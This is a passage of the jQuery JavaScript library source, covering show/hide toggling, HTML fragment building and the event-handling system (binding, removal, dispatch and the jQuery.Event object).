{\n\t\t\t\tvalues[ index ] = dataPriv.get( elem, \"display\" ) || null;\n\t\t\t\tif ( !values[ index ] ) {\n\t\t\t\t\telem.style.display = \"\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( elem.style.display === \"\" && isHiddenWithinTree( elem ) ) {\n\t\t\t\tvalues[ index ] = getDefaultDisplay( elem );\n\t\t\t}\n\t\t} else {\n\t\t\tif ( display !== \"none\" ) {\n\t\t\t\tvalues[ index ] = \"none\";\n\n\t\t\t\t// Remember what we're overwriting\n\t\t\t\tdataPriv.set( elem, \"display\", display );\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set the display of the elements in a second loop to avoid constant reflow\n\tfor ( index = 0; index < length; index++ ) {\n\t\tif ( values[ index ] != null ) {\n\t\t\telements[ index ].style.display = values[ index ];\n\t\t}\n\t}\n\n\treturn elements;\n}\n\njQuery.fn.extend( {\n\tshow: function() {\n\t\treturn showHide( this, true );\n\t},\n\thide: function() {\n\t\treturn showHide( this );\n\t},\n\ttoggle: function( state ) {\n\t\tif ( typeof state === \"boolean\" ) {\n\t\t\treturn state ? this.show() : this.hide();\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tif ( isHiddenWithinTree( this ) ) {\n\t\t\t\tjQuery( this ).show();\n\t\t\t} else {\n\t\t\t\tjQuery( this ).hide();\n\t\t\t}\n\t\t} );\n\t}\n} );\nvar rcheckableType = ( /^(?:checkbox|radio)$/i );\n\nvar rtagName = ( /<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]+)/i );\n\nvar rscriptType = ( /^$|^module$|\\/(?:java|ecma)script/i );\n\n\n\n// We have to close these tags to support XHTML (#13200)\nvar wrapMap = {\n\n\t// Support: IE <=9 only\n\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\n\t// XHTML parsers do not magically insert elements in the\n\t// same way that tag soup parsers do. So we cannot shorten\n\t// this by omitting <tbody> or other required elements.\n\tthead: [ 1, \"<table>\", \"</table>\" ],\n\tcol: [ 2, \"<table><colgroup>\", \"</colgroup></table>\" ],\n\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n\t_default: [ 0, \"\", \"\" ]\n};\n\n// Support: IE <=9 only\nwrapMap.optgroup = wrapMap.option;\n\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n\nfunction getAll( context, tag ) {\n\n\t// Support: IE <=9 - 11 only\n\t// Use typeof to avoid zero-argument method invocation on host objects (#15151)\n\tvar ret;\n\n\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\tret = context.getElementsByTagName( tag || \"*\" );\n\n\t} else if ( typeof context.querySelectorAll !== \"undefined\" ) {\n\t\tret = context.querySelectorAll( tag || \"*\" );\n\n\t} else {\n\t\tret = [];\n\t}\n\n\tif ( tag === undefined || tag && nodeName( context, tag ) ) {\n\t\treturn jQuery.merge( [ context ], ret );\n\t}\n\n\treturn ret;\n}\n\n\n// Mark scripts as having already been evaluated\nfunction setGlobalEval( elems, refElements ) {\n\tvar i = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\tdataPriv.set(\n\t\t\telems[ i ],\n\t\t\t\"globalEval\",\n\t\t\t!refElements || dataPriv.get( refElements[ i ], \"globalEval\" )\n\t\t);\n\t}\n}\n\n\nvar rhtml = /<|&#?\\w+;/;\n\nfunction buildFragment( elems, context, scripts, selection, ignored ) {\n\tvar elem, tmp, tag, wrap, contains, j,\n\t\tfragment = context.createDocumentFragment(),\n\t\tnodes = [],\n\t\ti = 0,\n\t\tl = elems.length;\n\n\tfor ( ; i < l; i++ ) {\n\t\telem = elems[ i ];\n\n\t\tif ( elem || elem === 0 ) {\n\n\t\t\t// Add nodes directly\n\t\t\tif ( toType( elem ) === \"object\" ) {\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n\t\t\t// Convert non-html into a text node\n\t\t\t} else if ( !rhtml.test( elem ) ) {\n\t\t\t\tnodes.push( context.createTextNode( elem ) );\n\n\t\t\t// Convert html into DOM nodes\n\t\t\t} else {\n\t\t\t\ttmp = tmp || fragment.appendChild( context.createElement( \"div\" ) );\n\n\t\t\t\t// Deserialize a standard representation\n\t\t\t\ttag = ( rtagName.exec( elem ) || [ \"\", \"\" ] )[ 1 ].toLowerCase();\n\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default;\n\t\t\t\ttmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];\n\n\t\t\t\t// Descend through wrappers to the right content\n\t\t\t\tj = wrap[ 0 ];\n\t\t\t\twhile ( j-- ) {\n\t\t\t\t\ttmp = tmp.lastChild;\n\t\t\t\t}\n\n\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\tjQuery.merge( nodes, tmp.childNodes );\n\n\t\t\t\t// Remember the top-level container\n\t\t\t\ttmp = fragment.firstChild;\n\n\t\t\t\t// Ensure the created nodes are orphaned (#12392)\n\t\t\t\ttmp.textContent = \"\";\n\t\t\t}\n\t\t}\n\t}\n\n\t// Remove wrapper from fragment\n\tfragment.textContent = \"\";\n\n\ti = 0;\n\twhile ( ( elem = nodes[ i++ ] ) ) {\n\n\t\t// Skip elements already in the context collection (trac-4087)\n\t\tif ( selection && jQuery.inArray( elem, selection ) > -1 ) {\n\t\t\tif ( ignored ) {\n\t\t\t\tignored.push( elem );\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontains = jQuery.contains( elem.ownerDocument, elem );\n\n\t\t// Append to fragment\n\t\ttmp = getAll( fragment.appendChild( elem ), \"script\" );\n\n\t\t// Preserve script evaluation history\n\t\tif ( contains ) {\n\t\t\tsetGlobalEval( tmp );\n\t\t}\n\n\t\t// Capture executables\n\t\tif ( scripts ) {\n\t\t\tj = 0;\n\t\t\twhile ( ( elem = tmp[ j++ ] ) ) {\n\t\t\t\tif ( rscriptType.test( elem.type || \"\" ) ) {\n\t\t\t\t\tscripts.push( elem );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn fragment;\n}\n\n\n( function() {\n\tvar fragment = document.createDocumentFragment(),\n\t\tdiv = fragment.appendChild( document.createElement( \"div\" ) ),\n\t\tinput = document.createElement( \"input\" );\n\n\t// Support: Android 4.0 - 4.3 only\n\t// Check state lost if the name is set (#11217)\n\t// Support: Windows Web Apps (WWA)\n\t// `name` and `type` must use .setAttribute for WWA (#14901)\n\tinput.setAttribute( \"type\", \"radio\" );\n\tinput.setAttribute( \"checked\", \"checked\" );\n\tinput.setAttribute( \"name\", \"t\" );\n\n\tdiv.appendChild( input );\n\n\t// Support: Android <=4.1 only\n\t// Older WebKit doesn't clone checked state correctly in fragments\n\tsupport.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;\n\n\t// Support: IE <=11 only\n\t// Make sure textarea (and checkbox) defaultValue is properly cloned\n\tdiv.innerHTML = \"<textarea>x</textarea>\";\n\tsupport.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;\n} )();\nvar documentElement = document.documentElement;\n\n\n\nvar\n\trkeyEvent = /^key/,\n\trmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,\n\trtypenamespace = /^([^.]*)(?:\\.(.+)|)/;\n\nfunction returnTrue() {\n\treturn true;\n}\n\nfunction returnFalse() {\n\treturn false;\n}\n\n// Support: IE <=9 only\n// See #13393 for more info\nfunction safeActiveElement() {\n\ttry {\n\t\treturn document.activeElement;\n\t} catch ( err ) { }\n}\n\nfunction on( elem, types, selector, data, fn, one ) {\n\tvar origFn, type;\n\n\t// Types can be a map of types/handlers\n\tif ( typeof types === \"object\" ) {\n\n\t\t// ( types-Object, selector, data )\n\t\tif ( typeof selector !== \"string\" ) {\n\n\t\t\t// ( types-Object, data )\n\t\t\tdata = data || selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tfor ( type in types ) {\n\t\t\ton( elem, type, selector, data, types[ type ], one );\n\t\t}\n\t\treturn elem;\n\t}\n\n\tif ( data == null && fn == null ) {\n\n\t\t// ( types, fn )\n\t\tfn = selector;\n\t\tdata = selector = undefined;\n\t} else if ( fn == null ) {\n\t\tif ( typeof selector === \"string\" ) {\n\n\t\t\t// ( types, selector, fn )\n\t\t\tfn = data;\n\t\t\tdata = undefined;\n\t\t} else {\n\n\t\t\t// ( types, data, fn )\n\t\t\tfn = data;\n\t\t\tdata = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t}\n\tif ( fn === false ) {\n\t\tfn = returnFalse;\n\t} else if ( !fn ) {\n\t\treturn elem;\n\t}\n\n\tif ( one === 1 ) {\n\t\torigFn = fn;\n\t\tfn = function( event ) {\n\n\t\t\t// Can use an empty set, since event contains the info\n\t\t\tjQuery().off( event );\n\t\t\treturn origFn.apply( this, arguments );\n\t\t};\n\n\t\t// Use same guid so caller can remove using origFn\n\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t}\n\treturn elem.each( function() {\n\t\tjQuery.event.add( this, types, fn, data, selector );\n\t} );\n}\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tglobal: {},\n\n\tadd: function( elem, types, handler, data, selector ) {\n\n\t\tvar handleObjIn, eventHandle, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.get( elem );\n\n\t\t// Don't attach events to noData or text/comment nodes (but allow plain objects)\n\t\tif ( !elemData ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Ensure that invalid selectors throw exceptions at attach time\n\t\t// Evaluate against documentElement in case elem is a non-element node (e.g., document)\n\t\tif ( selector ) {\n\t\t\tjQuery.find.matchesSelector( documentElement, selector );\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tif ( !( events = elemData.events ) ) {\n\t\t\tevents = elemData.events = {};\n\t\t}\n\t\tif ( !( eventHandle = elemData.handle ) ) {\n\t\t\teventHandle = elemData.handle = function( e ) {\n\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && jQuery.event.triggered !== e.type ?\n\t\t\t\t\tjQuery.event.dispatch.apply( elem, arguments ) : undefined;\n\t\t\t};\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// There *must* be a type, no attaching namespace-only handlers\n\t\t\tif ( !type ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend( {\n\t\t\t\ttype: type,\n\t\t\t\torigType: origType,\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tneedsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n\t\t\t\tnamespace: namespaces.join( \".\" )\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\tif ( !( handlers = events[ type ] ) ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener if the special events handler returns false\n\t\t\t\tif ( !special.setup ||\n\t\t\t\t\tspecial.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\n\t\tvar j, origCount, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.hasData( elem ) && dataPriv.get( elem );\n\n\t\tif ( !elemData || !( events = elemData.events ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\t\t\thandlers = events[ type ] || [];\n\t\t\ttmp = tmp[ 2 ] &&\n\t\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" );\n\n\t\t\t// Remove matching events\n\t\t\torigCount = j = handlers.length;\n\t\t\twhile ( j-- ) {\n\t\t\t\thandleObj = handlers[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t( !tmp || tmp.test( handleObj.namespace ) ) &&\n\t\t\t\t\t( !selector || selector === handleObj.selector ||\n\t\t\t\t\t\tselector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\thandlers.splice( j, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\thandlers.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( origCount && !handlers.length ) {\n\t\t\t\tif ( !special.teardown ||\n\t\t\t\t\tspecial.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove data and the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tdataPriv.remove( elem, \"handle events\" );\n\t\t}\n\t},\n\n\tdispatch: function( nativeEvent ) {\n\n\t\t// Make a writable jQuery.Event from the native event object\n\t\tvar event = jQuery.event.fix( nativeEvent );\n\n\t\tvar i, j, ret, matched, handleObj, handlerQueue,\n\t\t\targs = new Array( arguments.length ),\n\t\t\thandlers = ( dataPriv.get( this, \"events\" ) || {} )[ event.type ] || [],\n\t\t\tspecial = jQuery.event.special[ event.type ] || {};\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[ 0 ] = event;\n\n\t\tfor ( i = 1; i < arguments.length; i++ ) {\n\t\t\targs[ i ] = arguments[ i ];\n\t\t}\n\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers\n\t\thandlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\ti = 0;\n\t\twhile ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tj = 0;\n\t\t\twhile ( ( handleObj = matched.handlers[ j++ ] ) &&\n\t\t\t\t!event.isImmediatePropagationStopped() ) {\n\n\t\t\t\t// Triggered event must either 1) have no namespace, or 2) have namespace(s)\n\t\t\t\t// a subset or equal to those in the bound event (both can have no namespace).\n\t\t\t\tif ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.handleObj = handleObj;\n\t\t\t\t\tevent.data = handleObj.data;\n\n\t\t\t\t\tret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||\n\t\t\t\t\t\thandleObj.handler ).apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tif ( ( event.result = ret ) === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\thandlers: function( event, handlers ) {\n\t\tvar i, handleObj, sel, matchedHandlers, matchedSelectors,\n\t\t\thandlerQueue = [],\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\tcur = event.target;\n\n\t\t// Find delegate handlers\n\t\tif ( delegateCount &&\n\n\t\t\t// Support: IE <=9\n\t\t\t// Black-hole SVG <use> instance trees (trac-13180)\n\t\t\tcur.nodeType &&\n\n\t\t\t// Support: Firefox <=42\n\t\t\t// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)\n\t\t\t// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click\n\t\t\t// Support: IE 11 only\n\t\t\t// ...but not arrow key \"clicks\" of radio inputs, which can have `button` -1 (gh-2343)\n\t\t\t!( event.type === \"click\" && event.button >= 1 ) ) {\n\n\t\t\tfor ( ; cur !== this; cur = cur.parentNode || this ) {\n\n\t\t\t\t// Don't check non-elements (#13208)\n\t\t\t\t// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)\n\t\t\t\tif ( cur.nodeType === 1 && !( event.type === \"click\" && cur.disabled === true ) ) {\n\t\t\t\t\tmatchedHandlers = [];\n\t\t\t\t\tmatchedSelectors = {};\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\n\t\t\t\t\t\t// Don't conflict with Object.prototype properties (#13203)\n\t\t\t\t\t\tsel = handleObj.selector + \" \";\n\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] === undefined ) {\n\t\t\t\t\t\t\tmatchedSelectors[ sel ] = handleObj.needsContext ?\n\t\t\t\t\t\t\t\tjQuery( sel, this ).index( cur ) > -1 :\n\t\t\t\t\t\t\t\tjQuery.find( sel, this, null, [ cur ] ).length;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] ) {\n\t\t\t\t\t\t\tmatchedHandlers.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matchedHandlers.length ) {\n\t\t\t\t\t\thandlerQueue.push( { elem: cur, handlers: matchedHandlers } );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tcur = this;\n\t\tif ( delegateCount < handlers.length ) {\n\t\t\thandlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );\n\t\t}\n\n\t\treturn handlerQueue;\n\t},\n\n\taddProp: function( name, hook ) {\n\t\tObject.defineProperty( jQuery.Event.prototype, name, {\n\t\t\tenumerable: true,\n\t\t\tconfigurable: true,\n\n\t\t\tget: isFunction( hook ) ?\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\t\treturn hook( this.originalEvent );\n\t\t\t\t\t}\n\t\t\t\t} :\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\t\treturn this.originalEvent[ name ];\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\tset: function( value ) {\n\t\t\t\tObject.defineProperty( this, name, {\n\t\t\t\t\tenumerable: true,\n\t\t\t\t\tconfigurable: true,\n\t\t\t\t\twritable: true,\n\t\t\t\t\tvalue: value\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t},\n\n\tfix: function( originalEvent ) {\n\t\treturn originalEvent[ jQuery.expando ] ?\n\t\t\toriginalEvent :\n\t\t\tnew jQuery.Event( originalEvent );\n\t},\n\n\tspecial: {\n\t\tload: {\n\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\t\tfocus: {\n\n\t\t\t// Fire native event if possible so blur/focus sequence is correct\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this !== safeActiveElement() && this.focus ) {\n\t\t\t\t\tthis.focus();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusin\"\n\t\t},\n\t\tblur: {\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this === safeActiveElement() && this.blur ) {\n\t\t\t\t\tthis.blur();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdelegateType: \"focusout\"\n\t\t},\n\t\tclick: {\n\n\t\t\t// For checkbox, fire native event so checked state will be right\n\t\t\ttrigger: function() {\n\t\t\t\tif ( this.type === \"checkbox\" && this.click && nodeName( this, \"input\" ) ) {\n\t\t\t\t\tthis.click();\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t},\n\n\t\t\t// For cross-browser consistency, don't fire native .click() on links\n\t\t\t_default: function( event ) {\n\t\t\t\treturn nodeName( event.target, \"a\" );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tpostDispatch: function( event ) {\n\n\t\t\t\t// Support: Firefox 20+\n\t\t\t\t// Firefox doesn't alert if the returnValue field is not set.\n\t\t\t\tif ( event.result !== undefined && event.originalEvent ) {\n\t\t\t\t\tevent.originalEvent.returnValue = event.result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\njQuery.removeEvent = function( elem, type, handle ) {\n\n\t// This \"if\" is needed for plain objects\n\tif ( elem.removeEventListener ) {\n\t\telem.removeEventListener( type, handle );\n\t}\n};\n\njQuery.Event = function( src, props ) {\n\n\t// Allow instantiation without the 'new' keyword\n\tif ( !( this instanceof jQuery.Event ) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = src.defaultPrevented ||\n\t\t\t\tsrc.defaultPrevented === undefined &&\n\n\t\t\t\t// Support: Android <=2.3 only\n\t\t\t\tsrc.returnValue === false ?\n\t\t\treturnTrue :\n\t\t\treturnFalse;\n\n\t\t// Create target properties\n\t\t// Support: Safari <=6 - 7 only\n\t\t// Target should not be a text node (#504, #13143)\n\t\tthis.target = ( src.target && src.target.nodeType === 3 ) ?\n\t\t\tsrc.target.parentNode :\n\t\t\tsrc.target;\n\n\t\tthis.currentTarget = src.currentTarget;\n\t\tthis.relatedTarget = src.relatedTarget;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || Date.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tconstructor: jQuery.Event,\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse,\n\tisSimulated: false,\n\n\tpreventDefault: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.preventDefault();\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t},\n\tstopImmediatePropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopImmediatePropagation();\n\t\t}\n\n\t\tthis.stopPropagation();\n\t}\n};\n\n// Includes all common event props including KeyEvent and MouseEvent specific props\njQuery.each( {\n\taltKey: true,\n\tbubbles: true,\n\tcancelable: true,\n\tchangedTouches: true,\n\tctrlKey: true,\n\tdetail: true,\n\teventPhase: true,\n\tmetaKey: true,\n\tpageX: true,\n\tpageY: true,\n\tshiftKey: true,\n\tview: true,\n\t\"char\": true,\n\tcharCode: true,\n\tkey: true,\n\tkeyCode: true,\n\tbutton: true,\n\tbuttons: true,\n\tclientX: true,\n\tclientY: true,\n\toffsetX: true,\n\toffsetY: true,\n\tpointerId: true,\n\tpointerType: true,\n\tscreenX: true,\n\tscreenY: true,\n\ttargetTouches: true,\n\ttoElement: true,\n\ttouches: true,\n\n\twhich: function( event ) {\n\t\tvar button = event.button;\n\n\t\t// Add which for key events\n\t\tif ( event.which == null && rkeyEvent.test( event.type ) ) {\n\t\t\treturn event.charCode != null ? event.charCode : event.keyCode;\n\t\t}\n\n\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\tif ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) {\n\t\t\tif ( button & 1 ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tif ( button & 2 ) {\n\t\t\t\treturn 3;\n\t\t\t}\n\n\t\t\tif ( button & 4 ) {\n\t\t\t\treturn 2;\n\t\t\t}\n\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn event.which;\n\t}\n}, jQuery.event.addProp );\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\n// so that event delegation works in jQuery.\n// Do the same for pointerenter/pointerleave and pointerover/pointerout\n//\n// Support: Safari 7 only\n// Safari sends mouseenter too often; see:\n// https://bugs.chromium.org/p/chromium/issues/detail?id=470258\n// for the description of the bug (it existed in older Chrome versions as well).\njQuery.each( {\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\",\n\tpointerenter: \"pointerover\",\n\tpointerleave: \"pointerout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar ret,\n\t\t\t\ttarget = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj;\n\n\t\t\t// For mouseenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n} );\n\njQuery.fn.extend( {\n\n\ton: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn );\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tvar handleObj, type;\n\t\tif ( types && types.preventDefault && types.handleObj ) 